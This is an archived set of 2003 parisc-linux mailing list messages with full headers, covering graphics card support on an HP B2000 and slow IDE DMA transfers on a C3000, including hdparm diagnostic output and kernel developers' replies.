On Wed, 27 Aug 2003 00:05:16 -0600
Grant Grundler <grundler@parisc-linux.org> wrote:

 
> ok - thanks - I've seen the fewer DIMM slots version but didn't
> notice the FX-e on the motherboard (or VGA connector on the back).
> 
> I have seen a B2000 with 8 DIMM slots and 6 PCI slots like a C3000.
> This is no prototype - a real production unit.
> I'll have a chance to look more closely at this box again
> in the near future and will take some pictures.
> 

Don't bother, we've got plenty of these boxes @school, I'll take some pics
before students come back ;)


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 27 Aug 2003 10:22:22 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <1061976142.3f4c784e354b9@webmail.v8fiesta.co.uk>
References: <20030827034036.GA9928@dsl2.external.hp.com> <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net> <20030827060516.GA11642@dsl2.external.hp.com> <20030827100630.7a3eb14f.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622734 30416 80.91.229.3 (22 Nov 2014 02:18:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 03:23:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 984AC4950
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 03:23:20 -0600 (MDT)
Original-Received: (qmail 49217 invoked by uid 2525); 27 Aug 2003 09:22:22 -0000
Original-Received: from 212.135.129.82 ( [212.135.129.82])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Wed, 27 Aug 2003 10:22:22 +0100
In-Reply-To: <20030827100630.7a3eb14f.varenet@esiee.fr>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 212.135.129.82
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19373

Quoting Thibaut VARENE <varenet@esiee.fr>:

> On Wed, 27 Aug 2003 00:05:16 -0600
> Grant Grundler <grundler@parisc-linux.org> wrote:
> 
>  
> > ok - thanks - I've seen the fewer DIMM slots version but didn't
> > notice the FX-e on the motherboard (or VGA connector on the back).
> > 
> > I have seen a B2000 with 8 DIMM slots and 6 PCI slots like a C3000.
> > This is no prototype - a real production unit.
> > I'll have a chance to look more closely at this box again
> > in the near future and will take some pictures.
> > 
> 
> Don't bother, we've got plenty of these boxes @school, I'll take some pics
> before students come back ;)
> 
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: 27 Aug 2003 17:30:13 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1062001812.22739.84.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.LNX.4.44.0308261152480.6589-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622734 30419 80.91.229.3 (22 Nov 2014 02:18:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 10:31:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (pc1-cwma1-5-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1EF3484E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 10:31:00 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9) with ESMTP id h7RGUGra023189;
	Wed, 27 Aug 2003 17:30:17 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9/Submit) id h7RGUEpd023187;
	Wed, 27 Aug 2003 17:30:14 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.LNX.4.44.0308261152480.6589-100000@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.4.3 (1.4.3-3) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19374

On Maw, 2003-08-26 at 12:46, M. Grabert wrote:
> - the hard disk performs very bad (just 3.13 MB/s instead of expected
>   >30 MB/s, tested with similar drive in PC and same hdparm settings)
>   In fact it shows typical data rates for unsupported DMA transfers

Your drive is in PIO, probably PIO3 or so.

> - excessive harddisk access, ie. copying large files (>1GB) obviously
>   blocks any other access to the harddisk, at least it's not (very) responsive
>   (caused by the slow transfer rate?)

Hard to tell

> - can't change from my default kernel setting (DMA) to PIO mode via hdparm,
>   it causes a kernel oops (but hey, who needs PIO anyway ;)

That would be a bug

> Is unmasq_irq supported? What about DMA? Is it obviously not fixed yet
> (at least somebody wrote that "ns87415 dma doesn't work reliably on
>  suckyio-systems" a couple of weeks back)

irq unmasking is a generic IDE property so should be fine on any
platform with a non prehistoric defunct controller (NS87415 is fine)

> Any hints how to speed up the transfer rate?

Buy a PC ;)

Basically you need to fix DMA support



From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: Wed, 27 Aug 2003 18:36:12 +0100 (IST)
Lines: 68
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308271731570.14906-100000@sal.ucc.ie>
References: <1062001812.22739.84.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622734 30420 80.91.229.3 (22 Nov 2014 02:18:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 11:36:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AA5C4866
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 11:36:16 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h7RHaE921904;
	Wed, 27 Aug 2003 18:36:14 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <1062001812.22739.84.camel@dhcp23.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19375

On 27 Aug 2003, Alan Cox wrote:

> On Maw, 2003-08-26 at 12:46, M. Grabert wrote:
> > - the hard disk performs very bad (just 3.13 MB/s instead of expected
> >   >30 MB/s, tested with similar drive in PC and same hdparm settings)
> >   In fact it shows typical data rates for unsupported DMA transfers
>
> Your drive is in PIO, probably PIO3 or so.

beast:/home/xam# hdparm -i /dev/hda

/dev/hda:

 Model=ST3120022A, FwRev=3.06, SerialNo=5JT04M42
 Config={ HardSect NotMFM HdSw>15uSec Fixed DTR>10Mbs RotSpdTol>.5% }
 RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=4
 BuffType=unknown, BuffSize=2048kB, MaxMultSect=16, MultSect=16
 CurCHS=16383/16/63, CurSects=4228907259, LBA=yes, LBAsects=234441648
 IORDY=on/off, tPIO={min:240,w/IORDY:120}, tDMA={min:120,rec:120}
 PIO modes:  pio0 pio1 pio2 pio3 pio4
 DMA modes:  mdma0 mdma1 *mdma2
 UDMA modes: udma0 udma1 udma2 udma3 udma4 udma5
 AdvancedPM=no WriteCache=enabled
 Drive conforms to: ATA/ATAPI-6 T13 1410D revision 2:  1 2 3 4 5 6


Mhh, also "hdparm -d" shows that the "DMA mode" of the hard disk is
"enabled", but I really have the feeling it isn't.


[...]

> > Is unmasq_irq supported? What about DMA? Is it obviously not fixed yet
> > (at least somebody wrote that "ns87415 dma doesn't work reliably on
> >  suckyio-systems" a couple of weeks back)
>
> irq unmasking is a generic IDE property so should be fine on any
> platform with a non prehistoric defunct controller (NS87415 is fine)
>
> > Any hints how to speed up the transfer rate?
>
> Buy a PC ;)

Close ;)
Bought a IDE controller (Silicon Image Sil680) for EUR 15 ...

Hope it works, since I need a quick solution because this machine is used
as a WLAN Bridge/DNS cache/DHCP server/DSL router/Fire server in our house.

> Basically you need to fix DMA support

If I have/had time besides my PhD ... moreover I still have to little
knowledge about IDE stuff and kernel hacking to help.
I think you know the feeling since you're taking a sabbatical to do a MBA ;)

I'm just good at AI stuff (PhD) and parallel computing (former job & hobby).

Anyway, I try to help by testing and experimenting with new kernels
and telling what obvious mistakes I found and what's not running.
I.e. I don't intend to complain but help with what I report.
So far I'm quite happy with the stability of Linux/PA-RISC, so I've
really no reason to complain (rather the opposite: thank you!).


Slan,
  Max



From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 27 Aug 2003 21:19:49 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1062015588.3f4d126503447@webmail.v8fiesta.co.uk>
References: <20030827034036.GA9928@dsl2.external.hp.com> <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net> <20030827060516.GA11642@dsl2.external.hp.com> <20030827100630.7a3eb14f.varenet@esiee.fr> <1061976142.3f4c784e354b9@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622735 30422 80.91.229.3 (22 Nov 2014 02:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 14:20:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id C2CFA486E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 14:20:43 -0600 (MDT)
Original-Received: (qmail 17389 invoked by uid 2525); 27 Aug 2003 20:19:49 -0000
Original-Received: from 80.40.25.164 ( [80.40.25.164])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Wed, 27 Aug 2003 21:19:48 +0100
In-Reply-To: <1061976142.3f4c784e354b9@webmail.v8fiesta.co.uk>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 80.40.25.164
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19376

Interesting the veriety iof the same box :-O. I can only find one 
specification on hp's site for the b2000...

so the basics of it is can the b2000 support an additional vga card other then 
the onboard graphics card ? presumabely i need a card that is compatable with 
the box rather then any old card off the shelf ?

of is there more likleyhood that there will be support for this card in x ?

Thanks

Quoting mmogenius@v8fiesta.co.uk:

> Quoting Thibaut VARENE <varenet@esiee.fr>:
> 
> > On Wed, 27 Aug 2003 00:05:16 -0600
> > Grant Grundler <grundler@parisc-linux.org> wrote:
> > 
> >  
> > > ok - thanks - I've seen the fewer DIMM slots version but didn't
> > > notice the FX-e on the motherboard (or VGA connector on the back).
> > > 
> > > I have seen a B2000 with 8 DIMM slots and 6 PCI slots like a C3000.
> > > This is no prototype - a real production unit.
> > > I'll have a chance to look more closely at this box again
> > > in the near future and will take some pictures.
> > > 
> > 
> > Don't bother, we've got plenty of these boxes @school, I'll take some pics
> > before students come back ;)
> > 
> > 
> > Thibaut VARENE
> > The PA/Linux ESIEE Team
> > http://pateam.esiee.fr/
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 
> 
> 
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: 27 Aug 2003 22:23:17 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <1062019396.23493.8.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.LNX.4.44.0308271731570.14906-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622735 30425 80.91.229.3 (22 Nov 2014 02:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 15:24:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (pc1-cwma1-5-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB46A4885
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 15:24:11 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9) with ESMTP id h7RLNLra023519;
	Wed, 27 Aug 2003 22:23:21 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9/Submit) id h7RLNIMj023517;
	Wed, 27 Aug 2003 22:23:18 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.LNX.4.44.0308271731570.14906-100000@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.4.3 (1.4.3-3) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19377

On Mer, 2003-08-27 at 18:36, M. Grabert wrote:
> beast:/home/xam# hdparm -i /dev/hda
>  DMA modes:  mdma0 mdma1 *mdma2

So its tuned for DMA2 (doesn't mean its not using PIO..)

> Mhh, also "hdparm -d" shows that the "DMA mode" of the hard disk is
> "enabled", but I really have the feeling it isn't.

The crash is also curious - I wonder if parisc is either bouncing
every DMA buffer and copying it for some reason, or its failing DMA
by a path other platforms don't hit which isnt cleaning up right.



From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: Wed, 27 Aug 2003 15:44:09 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20030827214409.GE31311@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0308271731570.14906-100000@sal.ucc.ie> <1062019396.23493.8.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622735 30427 80.91.229.3 (22 Nov 2014 02:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:55 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 15:44:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2C8DD48C9; Wed, 27 Aug 2003 15:44:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1062019396.23493.8.camel@dhcp23.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19378

On Wed, Aug 27, 2003 at 10:23:17PM +0100, Alan Cox wrote:
> The crash is also curious - I wonder if parisc is either bouncing
> every DMA buffer and copying it for some reason,

c3000 uses sba_iommu.c and AFAIK all DMA goes through the IOMMU.
Would surprise me if the DMA was bounced/copied.

grant


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 27 Aug 2003 16:18:57 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20030827221857.GG31311@dsl2.external.hp.com>
References: <20030827034036.GA9928@dsl2.external.hp.com> <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net> <20030827060516.GA11642@dsl2.external.hp.com> <20030827100630.7a3eb14f.varenet@esiee.fr> <1061976142.3f4c784e354b9@webmail.v8fiesta.co.uk> <1062015588.3f4d126503447@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622736 30429 80.91.229.3 (22 Nov 2014 02:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 16:18:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 4A8134883; Wed, 27 Aug 2003 16:18:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1062015588.3f4d126503447@webmail.v8fiesta.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19379

On Wed, Aug 27, 2003 at 09:19:49PM +0100, mmogenius@v8fiesta.co.uk wrote:
> so the basics of it is can the b2000 support an additional vga card
> other then the onboard graphics card?

If a PCI slot is available, I would expect a PCI Vis-EG card to work.

> presumabely i need a card that is compatable with 
> the box rather then any old card off the shelf ?

I think so.

> of is there more likleyhood that there will be support for this card in x ?

PCI Vis-EG + stifb driver works under xf86.

grant


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: 27 Aug 2003 23:22:54 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <1062022973.23531.45.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.LNX.4.44.0308271731570.14906-100000@sal.ucc.ie>
	 <1062019396.23493.8.camel@dhcp23.swansea.linux.org.uk>
	 <20030827214409.GE31311@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622736 30431 80.91.229.3 (22 Nov 2014 02:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:56 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 16:23:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (pc1-cwma1-5-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98CC048D5
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 16:23:38 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9) with ESMTP id h7RMMura023653;
	Wed, 27 Aug 2003 23:22:57 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9/Submit) id h7RMMsob023651;
	Wed, 27 Aug 2003 23:22:54 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030827214409.GE31311@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.4.3 (1.4.3-3) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
